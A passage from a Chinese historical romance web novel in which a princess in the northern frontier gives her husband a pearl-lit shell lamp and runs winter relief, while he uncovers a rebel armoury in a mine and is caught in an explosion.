“没事。”封眠摇了摇头,抿起唇浅浅笑了一下,用力的动作让双唇多了几分血色,看起来没那么苍白,“只是突然联想到一些不好的事,那些事肯定不会发生的。” 对,距离史书记载的动乱的承平十六年还有四年多,如今他们就已经发现了陈家的阴谋,留给他们的时间还很多。事情早就因为她的梦,因为她的参与走向了不同的方向,那段简短的文字必然不会再成为现实。 不会再有人谋反,不会再有战乱。 冰凉的手心忽然一热,一张骨节修长的手挤进了她的掌心,与她牢牢交握,百里浔舟声音轻柔地安抚着她不安的心,“放心吧,有我,由父亲,还有小叔叔在,不会有事的。” 他眉眼飞扬,眼底尽是自信的笃定。 封眠用力地回握,点了点头。 “对了,小叔叔终于肯将他在北夷这么多年查到的东西告诉我了。”百里浔舟赶紧将剩下的消息说出来,让封眠的思绪得以转移,“他查出了几个可能和阿尔纳部私下有勾连的人……” 他说着,翻过封眠的手掌,用指尖在她掌心写下了几个字。 封眠有些怕痒地蜷了蜷指尖,却没有躲开,细细辨认着他写下的字。 “你在京中时日久,可知道这些人与罗家的关系如何?” 封眠凝神细思片刻,轻轻摇头:“据我所知,这几家与罗家在明面上并无往来。尤其是梁御史,他最好寻罗家人的错处弹劾,我曾听舅舅提起过他许多次,这是满朝皆知的事。” 百里浔舟眸色深沉,指尖无意识地在封眠掌心轻轻叩了叩,“要么,是他们埋得太深;要么,便是大雍不安分的,不止一股势力。” 他话音微顿,转而将另一只手覆上封眠的手背,温热的掌心将她微凉的指尖拢住,语气笃定:“不过无论如何,我们现下已然揪住了一角线头,连根拔起也只是时间问题。” 他摩挲着封眠的手背,不忘安抚着。 封眠却若有所思,目光不由自主地飘向床内暗格的方向。她将离京时舅舅给她的锦囊放在了那里面。她心下犹疑,眼下这般境况,算不算是遇到了“难处”?能不能拆开那枚锦囊? “好啦,别忧心了,若回头让小叔叔知道了,以后定要封我的口,不许我再与你悄悄通气。” 百里浔舟察觉到她的走神,抬手轻轻托住她的下颌,将她的脸转向自己,“母亲说,总是蹙眉,眉心要留印子的,我父亲眉心就有一道沟壑,你可莫要学她。” 他的指尖温柔地抚过她微蹙的眉间,故意拖长了语调,带着几分夸张的戏谑:“哎呀,你这里都有一道浅浅的纹路了,再多皱两次眉,怕是眉心就要……” 他话未说完,封眠便佯装恼怒,向前轻轻一顶,光洁的额头不轻不重地撞向他的指尖,打断了他未尽的调侃。 “就算眉心生出沟壑,那也是……”她抬起眸子,眼底水光潋滟,横了他一眼,“那也是为你操心所致,你合该负责到底才是。” 百里浔舟轻轻松开抵住她额头的手,倾身在她眉心落下浅浅一吻,语带笑意,“那就多谢郡主殿下给我这个荣幸了。” 封眠哼哼两声,抽出手摁着他的肩膀将他推远,指挥道:“那你现在先去把我妆奁最底下那个紫檀木的小礼盒取来。” 百里浔舟虽不明所以,还是依言行动,取来了一个精致的小盒子。 封眠将小盒子拿到自己手上,继续指挥他:“现在去把窗户关上。” 敞开的窗尽数被合上,明亮的光线被挡在了外头,屋内一下子便昏暗了许多。 “然后将床幔放下。”封眠继续吩咐,声音里带着几分神秘。 百里浔舟一面觉得奇怪,一面心跳莫名加快,眼看着床幔落下,遮住了封眠的身影,又听见她让自己坐进去,终于忍不住浮想联翩。 他一面想着柳寄雪才说过“医嘱”,此时实在是不好做些逾矩之事,一面又无法抗拒诱惑,心头怦怦乱跳地撩开床幔,坐到了封眠的身边。 眼前几乎完全暗了下去,只余床幔未拉紧的缝隙间还透进一点点微光。 封眠微微探身将那一点缝隙也拉紧了,这才将那个小礼盒递到他手中,催促道:“快打开看看。” 百里浔舟小心翼翼地打开盒盖,逐渐适应了黑暗的双眼依稀能看见柔软的丝绸衬垫上,静静躺着一个巴掌大的贝壳。贝壳表面有着细腻的螺旋纹路,在昏暗中泛着温润的光泽。 “这是?”他疑惑地看向封眠。 封眠抿唇一笑,伸手轻轻将贝壳打开。霎时间,贝壳内部透出柔和的光芒,是一颗颗被打磨成珍珠大小,黏在贝壳内部的夜明珠在发光。 光晕温暖而不刺眼,捧在手心中如同一轮小小的明月,瞬间便驱散了床幔内的昏暗。 “这是我亲手 给你做的。”她声音轻柔,“你时常夜间外出,总有意外寻不到火源、光源的时候,有它在身上,你便不怕周身突然陷入黑暗,将自己置于险境了。” 柔和的光自下而上映在她的面颊之上,这应当是一个糟糕的光影角度,但她的眉眼如此温和,下颌线条流畅柔润,被莹莹珠光一照,仍然漂亮得令人心弦微动。 爱你的人看见你的弱点,只会担心它让你受伤,小心翼翼又绞尽脑汁地努力筑起保护的围墙。 百里浔舟只觉心口被什么填得满满的,他轻轻地将贝壳合上,光芒隐去,重又袭来的黑暗让双眼有一瞬如同目盲一般,什么也看不见,但因掌心的小灯和身侧陪伴的人,他一瞬也没有心慌。 黑暗中传来细微的衣料摩擦声,百里浔舟循着呼吸声,凑到了封眠的面前,轻轻呢喃:“谢谢你,我很喜欢。” 一个蜻蜓点水的吻落在不知是唇瓣还是脸颊的位置,“啵”的一声—— 作者有话说:啵! 第96章 十五的月亮十六圆,在十五这日缺席了一整日的人,也将十六一整日的时间都赔给了封眠。 清早收到了封眠送来的亲手所制的贝壳灯,百里浔舟便觉得自己昨夜准备得惊喜根本无法与之相配,都拿不到台面上来说。于是他望着封眠并未点妆也依然素净漂亮的脸蛋,忽然提议要为她描眉画唇,好生服侍一番世子妃。 封眠便就这么稀里糊涂地被哄到了梳妆台前坐下。 梳妆台后开着一扇小小的轩窗,院子里头静悄悄一片,流萤和雾柳带着所有侍女仆厮都避了出去,将整间藏弓院都留给夫妻两个,识趣儿的很。 窗格恰巧框住院中那株老槐树,枝叶尚且还繁茂着,,在秋光里舒展开一片浓荫。阳光被层叠叶片筛成细碎的金斑,轻盈落在梳妆台上,投下随风摇曳的婆娑树影。 一只骨节分明的手闯了进来,悬在妆匣内的各色眉黛之上,有些犹豫不决。百里浔舟一直觉得封眠的眉天然便生得很漂亮,无需过多描画,但又想起昨日她似乎是画了新妆,秀眉弯弯如弦月,很是衬仲秋佳节,心下一时痒痒的,也想描画一番。 “不然……眉毛还是算了吧?”封眠心下其实有些没底,他那双拿惯了刀枪斧钺的手,不会将她的眉毛画成什么粗豪模样吧? “没画过眉的话,很容易手抖画歪的。” 百里浔舟自信满满道:“放心,我常年习武,手稳的很,百斤长枪都握得稳,这小小的眉黛还能难住我不成?” 他说着,已自妆匣中挑出一锭螺子黛。他方才细细瞧过了,那么多眉黛里,唯这锭螺子黛的使用痕迹最重,可见平日常用。既是封眠喜欢用的,自不会出错。 他执起细毫眉笔,在螺子黛中染上黛色,然后便一手执眉笔,一手轻扶封眠的肩头。 铜镜是新磨的,清晰地映出他专注的眉眼与手上的动作。 封眠眼也不眨地盯着铜镜里百里浔舟手上的动作,决定一有不对经便立马叫停,孰料看他第一笔落下的动作便是以笔尖勾画眉尾轮廓,虽然生涩,但竟好似有些眼熟。 平日里偶尔雾柳给她画眉时,便是这般起手的。 百里浔舟平日里是不是没少偷看她梳妆? 封眠唇角微微翘起,却故意嗔道:“你很熟练嘛,是不是偷偷在外面练过手了?” 此话将执百斤长戟都不手抖的百里浔舟吓得差点将眉尾画飞出去,好冤枉地望向铜镜与她对视,“哪有你这般冤枉自家夫君的?” “这话传到外头去,我的清白还要不要了?小叔叔怕是立时便要提刀砍上们来了。” 百里浔舟没忍住,两指掐住封眠唇畔的脸颊肉晃了晃,“不许乱说话了。” “我错了我错了。”封眠连忙讨饶,“你快些画吧,再晚便不好去给母亲请安了。” “母亲说了,今日让我好生陪着你,不要去扰她清净。”百里浔舟说着,手重新抚上了她的脑后,轻轻固定着,好让自己施力,继续描眉。 “闭上眼别看。”察觉到通过铜镜落到自己身上一瞬不瞬的目光,他的声音有些发紧,“你盯着,我反倒紧张了。” “好好好,我不打扰世子殿下发挥了。”封眠听话得闭上眼,长睫卷翘。 百里浔舟描完右侧的眉,颇为满意地欣赏了一番,便去描左侧的眉,落笔前忽然想起封眠一直挺直腰背坐着,便问道:“累不累?腰酸吗?” 封眠脸颊飞上一抹斜红,“不累,你快画。” 百里浔舟想了想,干脆站到她身后去,按着她的肩头让她倚在自己身上,“这样你应当能舒服一些。” “这样怎么画眉?”封眠没忍住睁开了眼,仰着脑袋十分纳闷地看他。 百里浔舟微微倾身,两人倒错着视线交汇,他长臂一伸便将封眠整个环住,放出大话来:“就倒着画,我已经是熟手了,放心。” “熟手”百里浔舟就这样以一个诡异的姿势画完了左侧的眉,旋即放下手轻轻揽住封眠的后背,探身到正面去瞧自己的“杰作。” “不愧是熟手了,这次速度快多了。”封眠说着便睁眼要瞧瞧,结果一睁眼便对上百里浔舟放大的一张脸,愣了愣,“你做什么?” “等一下,你先把眼睛闭上,我还要改一改。”百里浔舟柔声哄着。 封眠狐疑地眯起眼,嘴上应着:“唔,好吧。” 她缓缓闭上双眼,在察觉身前遮挡的阴影消失后再猛地睁开眼,几乎是瞬间,百里浔舟握着眉笔的手以迅雷不及掩耳之势盖在了她的眼睛上。 “你怎么说一套,做一套,这样不信任我?”百里浔舟抢先告状,语气委屈。 “好吧好吧,我不看了。”封眠悻悻闭上眼,却听到百里浔舟将铜镜转了个方向的声音,“我都闭上眼了,你……” 她没忍住睁开一只眼,“你到底将我的眉毛画成什么模样了?” 百里浔舟垂眸,看着封眠清亮眼眸之上两条完全不对称的眉,一脸平静地哄骗:“自然是正常的模样,只是需要修一修。” “把眼睛闭上。” 微凉的指腹压了一下封眠睁开的那只眼的眼皮,封眠合上眼帘,再次陷入一片漆黑,只能感觉到一只手在自己的眉上擦了又擦,再用细豪笔轻轻划过,勾抹描补,如此往复两三次,一片湿漉漉的帕子覆上了眉。 “我忽然觉得,你还是不画眉时最好看。”百里浔舟的声调里暗藏着一丝不易察觉的心虚。 封眠好笑地双臂环胸,也不睁眼了,反正铜镜已被某人转了过去,什么也瞧不见,“你说什么便是什么吧。” 她就知道,这眉是画不成的。 “涂口脂吧,口脂显气色。”百里浔舟匆匆擦净了眉黛的痕迹,开始奔赴下一个流程,又一次踌躇了起来。 妆台上摆着十来盒口脂,颜色在百里浔舟看来大同小异,有几盒他甚至连深浅都比较不出来,若不是装着口脂的盒子不一样,他真要以为封眠买了几盒一模一样的口脂。 挑哪个好呢? 他略一思忖,依次拿起口脂细嗅起来,欣慰地确认每一盒口脂的味道确实都不一样。幸好他曾尝过,知晓封眠的口脂味道总是在变。 嗅到其中一盒略带桃红色的口脂时,他顿了顿,清甜的味道让他想起昨夜在鼻尖萦绕不散的那股味道。 就这个了。 他用手指蘸了些许口脂,轻慢地搽在封眠的唇上。指腹下的唇瓣柔软温热,涂抹间反复地感受着柔嫩的触感,微凉的指尖缓缓热了起来,百里浔舟有些心猿意马地略略加重了指腹的动作,看着封眠浅色的唇瓣因着他的动作渐渐染上嫣红,娇艳如枝头完全绽放的花蕊。 气氛渐渐地暧昧起来,百里浔舟的手指反复地描摹着唇瓣的形状,眼眸渐渐深了下去,封眠忽然 张口,轻轻咬了下他的指尖。 一点酥麻直抵心尖。 百里浔舟的视线从封眠的唇上移开,便撞入她如春水潋滟的眼眸中,颊上薄红未褪。 “口脂不是你这般……你这般抹的!”他的眼神分明就不清白! 百里浔舟眼底含笑,赖皮地向前凑,“那你教教我,应该怎么抹?这样吗?” 他探身去吻她刚涂了口脂的唇,却吻了个空。 封眠向后一仰躲开了,灵巧地像一尾小鱼一样从他手边滑走,站到了梳妆台的另一侧,弯腰用食指戳他的脑袋。 “你是故意的。” 百里浔舟顺着她抵在自己额头的食指的力度向后微微仰头,漂亮的眼睛里漾起一点坏笑,坦然地承认了自己就是不怀好意。 封眠轻轻哼一声,扳过桌上的铜镜,侧脸对光细细端看,觉得妆容尚能入眼。她满意地点点头,回身朝百里浔舟伸出手,指尖在半空中勾了勾,“罚你陪我去荡秋千。” “今日不想出门逛逛吗?灯会的装扮还没拆,昨夜你都没有好好逛一逛。”百里浔舟乖乖跟在封眠身后出了房门。 “灯会要晚上才好看,仲秋看不到,过年时再看也不晚。况且……”封眠脚步顿了顿,等着百里浔舟跟上来,却垂下眼不看他,“出门还要等人套马车,身前身后都要围一堆人……” 她知道今日晚些时候,百里浔舟便又要走了,才不想将时间浪费在路上,也不想身边多出许多人来。 一只温热的手掌轻轻落在她发顶揉了揉,柔声哄她:“等这桩事了,我便将军务丢给姚知远,多陪你几日。” “北疆的天气冷得很早,到时说不定便能带你去冰嬉了。” 封眠心头忽然漫起的愁绪转瞬就散了,好笑道:“姚军师跟着你,可是吃苦头了。” 说话间,两人来到了院中的秋千架下。这秋千是封眠搬到藏弓院时,王妃特意命人比着雪月居样式新制的。 “你扶我一下。”封眠仗着百里浔舟在身边,提着裙摆踩上了秋千,打算站着打秋千,她跃跃欲试地叮嘱:“你推得高一些,最好是我站在此处,便能望见院子外头。” “那会不会有些太高了?你可莫要吓得哭鼻子?”百里浔舟说着,轻轻推动秋千,绣着红叶秋菊的绛色裙裾在风中飞扬。 秋千越荡越高,似乎一伸手便能触到枝头垂坠的那朵木槿花。 封眠趁着秋千荡到最高处伸出一只手去够,摘到花的瞬间,却一个不稳向前栽去。 风声掠过耳畔,她下意识闭上眼,摔进一个熟悉的温暖怀抱里。再睁眼时,便瞧见百里浔舟发白的脸,声音里带着未散的惊悸,“你怎么敢松手的?” 封眠笑吟吟地将手中木槿别在他鬓边,双臂攀在他颈侧,亲了亲他的唇,“我知道你会接住我的。” 身后秋千轻轻摇晃,发出吱呀声响。百里浔舟气恼地咬住她的唇,“不许再这样荡秋千。” “知道啦。” 尾音模糊地淹没在唇齿间。 第97章 檐下鸟鸣啁啾,一片掉落的树叶被风托着在半空中打了个旋儿,不偏不倚地落在窗棂边摊开的掌心里。 封眠正枕着手臂趴在窗边出神,叶片落入掌心的细微触感令她微微回神。她凝眸看去,边缘泛黄的叶片静静躺在掌心,脉络清晰可辨。倏地将她的思绪拽回四日前那个暮色沉沉的傍晚。 原本该在晚霞初落时就出发的人,硬是寻了无数由头拖延。一会儿叮嘱她换季添衣,一会儿又拉着她去看墙角生出的野草,就这样一步三停地说着些无关紧要的闲话,直拖到夜色浓稠、满城华灯次第亮起,两人才终于站在后院那扇角门边进行最后的告别。 灯笼的光晕和洒落的月色皆被两侧繁茂的树影切割得斑驳陆离,百里浔舟背光而立,整张脸都隐在暗影里,封眠看不清他此刻面上的神情,只觉他微微俯身时,带着熟悉的清冽气息靠近,修长的手指轻柔地拂过她的发间,取下一片不知何时落再她发间的叶子。 紧接着,一个轻柔的带着夜风微凉的吻随即落在她额上,温热的触感一触即分。 “等我回来。”低低的声音带着温热的气息擦过耳畔,下一刻身前便是一空。 百里浔舟利落地翻身上马,动作快得近乎仓促,策马时也没有回头,仿佛稍慢一刻、多看一眼就会动摇决心。玄色披风在夜风中猎猎扬起,转眼间,人与马都已消失在街角拐处,只余马蹄声在青石路上渐远渐消。 短短四日,却像过了四个月那般漫长。封眠轻轻收拢掌心,将那片叶子握在手中,第一次发觉,原来离别是这般熬人的滋味。 她正兀自出神,廊下忽然传来一阵轻快的脚步声。 流萤笑盈盈地引着一人走近,“郡主,折夫人来啦。” 折夫人跟在流萤身后,步履从容,一身胭脂红金线绣缠枝纹的襦裙,衬得她容貌愈发娇艳。 自从与陈家彻底了断,她才发觉往日无形中束缚她的枷锁其实尽是虚无。离了陈家,她的生意丝毫未受影响,娘家的商队亦是,反而因她心境开阔,诸事都顺利得不可思议。 “郡主。”折夫人行至窗前,微微一礼,含笑道“白老板回来了。您要的白叠子都已运抵库房,可要现在去看看?” 封眠眼前一亮。 库房里,白叠子都按着封眠的要求摘出了雪白柔软的絮,堆成雪一样的小山。封眠召来几位手艺精湛的绣娘,不过三五日工夫,一床蓬松柔软的冬被便制成了。 “这么轻一床被子,摸着软得像云,竟这般暖和!” 王妃惊讶地抚摸着被面,柳寄雪也好奇地捏了捏被角。 “剩下的白叠子,郡主也打算尽数做成冬被售卖吗?”折夫人问道,显然对这桩生意很是感兴趣。 封眠摇了摇头,“手上的白叠子数量有限,我打算先不售卖。做些冬衣冬被,一部分送往军中,一部分赠予慈幼院,剩下的便分发给无家可归、过冬艰难的百姓。” “如此一来,很多人都能过一个暖冬了。只是……”柳寄雪若有所思,“军中和慈幼院还好,若是纯然赠冬衣冬被予寻常百姓,恐怕会纵出一些好逸恶劳的恶习,或是惹得其他没拿到衣被的百姓红眼。” “我也想过这个问题。”封眠点点头,“所以不如以工代赈吧。东郊外还有大片荒地无人打理,便让愿意劳作的人通过垦荒来换取冬衣棉被。” 午后,正是归家用饭的时辰,府衙外的布告栏前却人头攒动。衙门的书吏站在台阶上,高声将新贴的告示念给围拢过来的百姓们听。 “凡参与东郊垦荒者,每日管三餐饭食!劳作满一旬,可领絮白叠子冬衣一套;满一月,可领絮白叠子冬被一床!无家可归者优先!” 另有几队衙役带着人走街串巷,敲锣打鼓地将消息宣传出去,确保云中郡每一名百姓都收到消息。 所过之处,激起一片议论声。 “白叠子是什么?做的冬衣冬被能暖和吗?” “还要劳作才能领?我不去,我家收了几箱笼的芦花,够做冬衣冬被了。” 然而对于无家可归的乞儿来说,这无疑是一件天降的好事。他们才不管这冬衣冬被是什么做的,他们只知只要劳作几日,便能吃饱肚子,换取一个活着度过寒冬的机会。于是便一传十十传百,早早地等到了府衙门口。 到了招募的时辰,鸾仪卫指挥使亲自带着一队侍卫来到府衙前维持秩序。他身姿挺拔如松,目光如电般扫过人群,清清嗓子强调:“这些白叠子是郡主费心筹措来的,数量不多,不图名不图利,只为让诸位过个暖冬,还请诸位依序排队,莫要闹事。” 众人自然只有点头应声的份儿,嘴上不住谢着郡主大恩。 陆指挥使这才觉得心气顺了不少。郡主如此功劳就应让百姓们都知晓,岂能让那个遇事只会和稀泥的郡守独占?他想起上次罗驰尔为难郡主时自己未能随行护驾,至今仍懊悔不已,对郡守也是颇有微词。如今既得了机会,定要替郡主将这事办得漂漂亮亮。 正当队伍井然有序地登记时,一道阴冷的声音突然响起:“也不知这白叠子是什么新鲜物什,郡主竟拿来免费为百姓制冬衣冬被,难怪全云中郡的百姓都对郡主爱戴有加。” 罗驰尔不知何时出现在人群外,负手而立,唇边噙着一丝讥诮。言下之意便是讽刺封眠耍手段,收买人心。 陆指挥使看见他烦得很,敷衍地行了个礼:“郡主心善,为百姓发放冬衣冬被,应当不在罗巡检的管辖范畴吧?” “本官 是来找顾大人的。”罗驰尔的目光转向人群后的顾春温。 顾春温抬眼瞧见此处,从容上前。今日他穿着一袭青灰色常服,更显俊秀挺拔。 罗驰尔似乎刻意在众人面前显得与顾春温熟稔,邀请道:“顾大人,可否赏脸一同用个晚膳?本官有些要事相商。” 四周顿时安静下来,所有目光都聚焦在顾春温身上。他沉吟片刻,温文点头:“罗巡检盛情,下官岂敢推辞。” 陆指挥使眉头微蹙,却见顾春温对他轻轻摇头,示意不必担心。 罗驰尔得意一笑,伸手做请状。 夜色浓稠如墨,檐下灯笼在秋风中轻轻摇曳,投下晃动的光影。 一道戴着竹斗笠的清瘦身影悄然出现在王府后门处,轻叩门扉。开门的人抬头看清斗笠下的人,吃了一惊。 “顾大人这么晚秘密前来,可是出了什么事?”封眠裹着斗篷坐在桌前,示意顾春温坐下,亲手斟了杯热茶推过去。 顾春温摘下斗笠,眉宇轻蹙:“郡主应当也听说了罗巡检邀我用膳一事。” “陆指挥使生怕你被为难,特意遣人……尾随了你一段。”封眠弯了弯眼。 顾春温也觉好笑地摇了摇头,“罗巡检这么简单一出离间,也就陆指挥使还会小上一当。” “他也是担心。不过看顾大人深夜来访,陆指挥使的担忧是成真了?” “罗巡检倒没表现得太直白,只是席间确实多有试探,希望我能投入罗公门下。”烛光在他清俊的侧脸上投下深浅不一的阴影,“罗巡检初来云中郡,便为陈家出头,想来与陈家私下有所往来。世子殿下与封小将军这些时日不在城中,可是发现了什么?” 以顾春温的敏锐与智慧,封眠不意外他能发现种种不对之处,便将矿山一事告知于他。 顾春温瞳孔微缩,显然也从中抿出了谋反的意味。 “其实我不大懂,罗家权势滔天,柔妃在宫中圣眷正浓,何须行此险招?”封眠转着手中杯盏,实在想不明白。 “人心不足,欲壑难填。权势愈盛,所求便愈多。况且……”他沉吟片刻,声音压得更低,“郡主应知,早逝的先皇后,正是罗氏女。” 封眠投来一个困惑的目光,此事并不是什么秘密,只是先皇后是柔妃的亲姐姐,舅舅似乎也不喜欢人提起她,所以宫中极少人会念及先皇后的事。 “陛下登基前,未曾入主东宫,多年未娶妻妾。罗公看中陛下潜龙在渊的才智,欲扶其上青云,又担忧从龙之功不够稳固,便设计将女儿嫁给了陛下……”他顿了顿,接着道:“先皇后没坐几日后位便逝去,罗公又送了柔妃入宫。这十几年来,陛下权柄日盛,罗公却一日日老去……” “舅舅不是任人拿捏的性子。所以罗公忧心罗家后代,怕是想趁自己还活着,重造从龙之功。” 屋内一时陷入静默,封眠想,罗公想要从龙之功,所选的“龙”,又是谁呢? “郡主不必忧心,罗巡检看似心机深沉,实则心急不说,也并不如何聪明,下官会想办法与他走得近些,套些话出来。”顾春温起身准备告辞,“夜深了,便不打扰郡主休息。” “顾大人,万万以自身安危为重。”封眠起身相送,郑重叮嘱着,烛光在眼中跳动,亮如星火。 顾春温微微一笑,重新戴好斗笠,悄无声息地融入夜色之中。 一片浓重的黑暗之中,忽地亮起一道幽微的亮光,光源来自一枚开口的贝壳。捧着贝壳的手上满是擦伤,手指轻颤着。 沉重的呼吸声如释重负,百里浔舟长腿微屈,背抵石壁而坐,向后仰首靠在凹凸不平的石壁之上,额上尽是冷汗,大口地呼吸着污浊而稀薄的空气。 他置身一片狭小无边的黑暗之中,低矮的矿道无法直立而行,左手边的来时路被突然坍塌的石块堵住,让他骤然陷入一片黑暗之中。 他不敢在随时可能火星刺激爆炸的矿洞中点燃火折子,幸而随身带着封眠所赠的灯,这才稳了下来。 他缓了片刻,翻身向前摸索着,耳边某个方向忽然传来细微的碎石滚动声。 他迅速闭合贝壳,将自己隐入阴影,看到一队黑影以某种矿石照明,无声地运着箱子,从另一侧矿道消失。 他屏息在黑暗中等了片刻,才等到黑影折返的动静,他们手中已然空空如意。 百里浔舟静候片刻,待动静完全消失,才小心翼翼地攀爬出去,指尖在粗糙的岩壁上摸索,触到一道几乎与岩壁融为一体的石门缝隙。 他巧劲暗施,石门滑开,一股陈腐的铁锈味扑面而来。 门后并非矿脉,而是一个巨大的天然洞窟改造而成的隐藏库房。 百里浔舟闪身入内,飞快地打开堆叠的箱子查看,发现里面尽是军用制式的刀剑、长弓,更深处,则是一箱箱被油布严密覆盖的火药。 再往内,便是一座石台,他摸索着寻到机关,打开了暗格,里面赫然放着基本账册。他迅速翻看,上面用奇怪地符号记录着什么。 就在这一刹那,“轰”地一声响猛地从矿洞外传来,紧接着,更多爆炸声自外向内席卷而来,整座矿山都跟着疯狂震颤起来,头顶碎石如雨般砸落,烟尘瞬间弥漫。 百里浔舟在变故发生的瞬间已本能地向后撤身,将身体死死抵在石壁夹角。然而爆炸的冲击层叠撞来,无处躲避。 他只觉得后脑传来一阵剧痛,眼前最后闪过一点爆炸的火光,旋即一切光影彻底熄灭。 无尽的黑暗将他彻底吞没。 第98章 雪粒在夜晚无声地飘落,先是零落的几片,试探般地敲在尚未落尽的枝叶上,接着鹅绒般的雪片便密匝匝、静悄悄地筛落下来。 睡梦中的封眠却好似听到一声惊天动地的震响,猝然惊醒。 贴身的衣裳已经被汗浸透,湿热得黏在皮肤上,她躺在床上盯着漆黑的账顶,许久未能回神。方才梦中的景象已经模糊不清,但那瞬间的心悸仍令她的心脏急促的跳动着。 外间传来窸窸窣窣的声响,封眠干脆坐起身撩开了床幔,便瞧见雾柳和流萤抱着锦被,蹑手蹑脚地钻进屋内。 “郡主怎么醒了?”两人如同被抓包一般愣了片刻,旋即抱着被子跑到床前来,“可是被冻醒的?哎呀这北疆的天气可真是,方才突然落了雪,一下子就冷了那么多,一点征兆都没有。幸好今夜是我们守着,郡主快将被子换上。” “郡主身上的衣裳怎么都湿了?”雾柳近了才发现封眠额上还有未干的冷汗,“可是做噩梦了?” 封眠揉了揉隐隐作痛的太阳穴,起身转到屏风后更换寝衣,“记不清了,只觉心口闷得慌,想来不是什么好梦。” 她许久没梦到过后世,无从得知百里浔舟和封辞偃此行究竟能否顺利,心下一直压着不安,今日无端做了场心悸的梦,愈发睡不着了。 “外头下雪了?”封眠问。 “是呢,好大的雪,奴婢在盛京时从未见过这样大的雪。”雾柳见她走到窗边想看雪,便取来厚实的斗篷为她披上。 封眠伸手推开窗,沁凉的空气瞬间涌入,带着冰雪的清冽味道。院中已换了一派银装,地上的积雪已彻底盖住了青石板。雪仍然还在下,纷纷扬扬,看起来没个尽头。 眼见封眠想伸手去接飘落的雪片,雾柳忙将她的手轻轻按了回来,语气带着不赞同:“当心着凉。” 封眠只能眼巴巴瞅着雪花轻飘飘落在面前的窗棂上,忽然想起什么:“明日那几名从江南来的女师,是不是便要到了?” “是,郡主放心吧,姚军师派了疾羽营的精锐,随副指挥使一并去接人,定不会出岔子的。”流萤当她是担心女师们路上如她们来时那般遇上流匪,赶紧出言安慰。 封眠望着窗外无尽的飞雪,想的却是这骤降的温度会不会将人吓退,若是刚到北疆便受寒生了病,怕是她们对北疆的第一印象就会变差。 翌日天刚蒙蒙亮, 云中郡外百里处的官道上,数十骑侍卫护卫着一辆马车正准备出发。 马车内的五名女师皆是妇人打扮,二三十岁的年纪,正紧紧簇拥在一起,身上盖着两件厚厚的毛斗篷取暖,即便如此,鼻头依然冻得通红。 “还未到十一月,北疆竟然就已经这般冷了,接下来的日子可怎么过……”年纪最小的唐玉诗有些后悔了,她本好四处游山玩水才做起了女师,借着授业之名遍览山水。因着从未来过北疆,听闻郡主招女师,想着此行定然安全无虞,这才兴致勃勃报了名,孰料一来就被北疆的天气重重打了一拳。 “到了北疆多添置几件冬衣就好了。”年纪最长的王媛青泰然自若,她临窗而坐,还有心情撩开推开一线窗,看外面飘飞的雪,叹道:“江南如何能见如此壮观的雪景。” 然后便在其余人吱哇乱叫的一声声“好冷”中,不舍地将窗关上。 这时马车忽然停了,几人面面相觑。 “出什么事了?” “莫不是雪太大,不好行路?” “不要啊,我就等着到了云中郡内,能喝上一口热茶呢。” 有人轻轻叩响车门,一道温厚慈祥的声音隔着门板传来:“几位夫子万安,郡主命我等来为夫子们送姜汤祛祛寒。” 几人皆是一怔,王媛青最先反应过来,连忙起身去开了门。 风雪裹挟着寒意扑面而来,一位裹着藏青斗篷的老嬷嬷利落地闪身而入,接过身后人递来的两个檀木盒子先推进去,随即迅速掩紧车门。 “老奴姓汤,几位夫子唤我汤嬷嬷便是。”她含笑见礼,眼角细纹里都透着暖意,“这里头是郡主准备的手炉,给几位夫子取暖用。” 她说着推过左手边的檀木盒,打开后里面露出五个一模一样的鎏银百花纹手炉,,内里炭薪已填装妥当,只需用火折子点燃即可。 “多谢郡主殿下记挂。”众人忙取出火折子将手炉点燃,捧在冰凉的手心,暖意渐渐从掌心蔓延开。 汤嬷嬷又将右手边的檀木盒打开,“这里头是姜汤,郡主担心连夜大雪,将几位夫子冻病了,一早命厨下熬好了浓浓一锅,一路用炭火煨着,现下还热乎着呢,快喝上一盅。” 汤嬷嬷亲手将装在精致小汤盅里的姜汤分了出去,看着每个人都有了手炉取暖,又喝下暖热的姜汤,面上愈发和颜悦色。 王媛青饮尽一碗姜汤,只觉五脏六腑都暖了起来,她眼底漾开真切的笑意,将汤盅轻轻放回食盒:“郡主竟想得这般周到,还请汤嬷嬷代我们多多谢过。” “郡主说几位夫子远道而来,必然是要好生招待的。”汤嬷嬷面上多了几分骄傲之色,显然也觉得自家郡主的一应安排都贴心仁善极了,跟着又道:“几位夫子便住在书馆后头的宅院里,一应物什俱全,若缺什么,只管吩咐下人们去买。郡主担心夫子们一路舟车劳顿身体不适,已经请了柳大夫在宅院等候,为诸位请脉。” 原本心下十分不安的几人,在接二连三的安抚之下,已然从身到心都温暖了起来,愈发期待着抵达云中郡。 待马车行至城门外,众人已捧着手炉暖透了身子,纷纷将车窗推开细缝,好奇地向外张望,但见通往城门的官道上积雪已被扫净,在路两侧堆成了雪堆,方便马车出行。更有差役手持陶钵,正沿路撒着雪白的颗粒。 “这时在……撒盐?”唐玉诗细看之下才发现那白色的东西分明是盐粒,不禁讶然。 “是郡主殿下吩咐的,说是如此可以防滑,方便大家出行。”汤嬷嬷笑眯眯解释道。 “郡主殿下可真是舍得,整个云中郡的路得用上不少盐吧?” “郡主殿下说了,盐再贵重,也贵不过百姓们的安康。这要是雪天摔上一跤,可了不得。” 马车进了云中郡,汤嬷嬷的话匣子便彻底打开了。她指着挂有“封”字牌的铺子开始给她们讲郡主如何体恤军士家眷,又眺望荒地的方向,给她们讲郡主购入白叠子制成冬衣冬被助百姓过冬…… 从城门到宅院这一截路,汤嬷嬷的嘴就没停下过,将封眠从头到脚夸了个遍,听得几位女师眼含亮光,心生敬佩。 也是,愿意延请五位女师来为女子开设书馆的郡主,岂能是凡俗人物? 此时的封眠正陪着柳寄雪一起在宅院等女师们。她半夜醒后便心慌得睡不得,一个人待着总是忍不住胡思乱想,只能多给自己找些事转移注意力。 柳寄雪一眼便看穿了她的担忧,吩咐人端来了热茶和点心,盯着她多吃几口,“吃些甜的可以让你心情好些。” 她柔声劝慰:“世子殿下自幼随王爷征战沙场,什么刀枪火海都闯过来了,此番出行定然也不会有什么危险的。郡主要相信殿下一定会平安回来的。” 封眠勉强勾起唇角笑了笑,她想百里浔舟从来不是一个食言的人,他说要陪她冰嬉,如今都已落雪了,想来应当就快回来了…… 门外传来车马声,她迅速敛起忧色,扬起温煦的笑颜迎到院门处,便见几位风尘仆仆的女师相继走下马车。 “见过郡主殿下。”王媛青领着几位女师正要行礼,便被封眠亲手扶住。 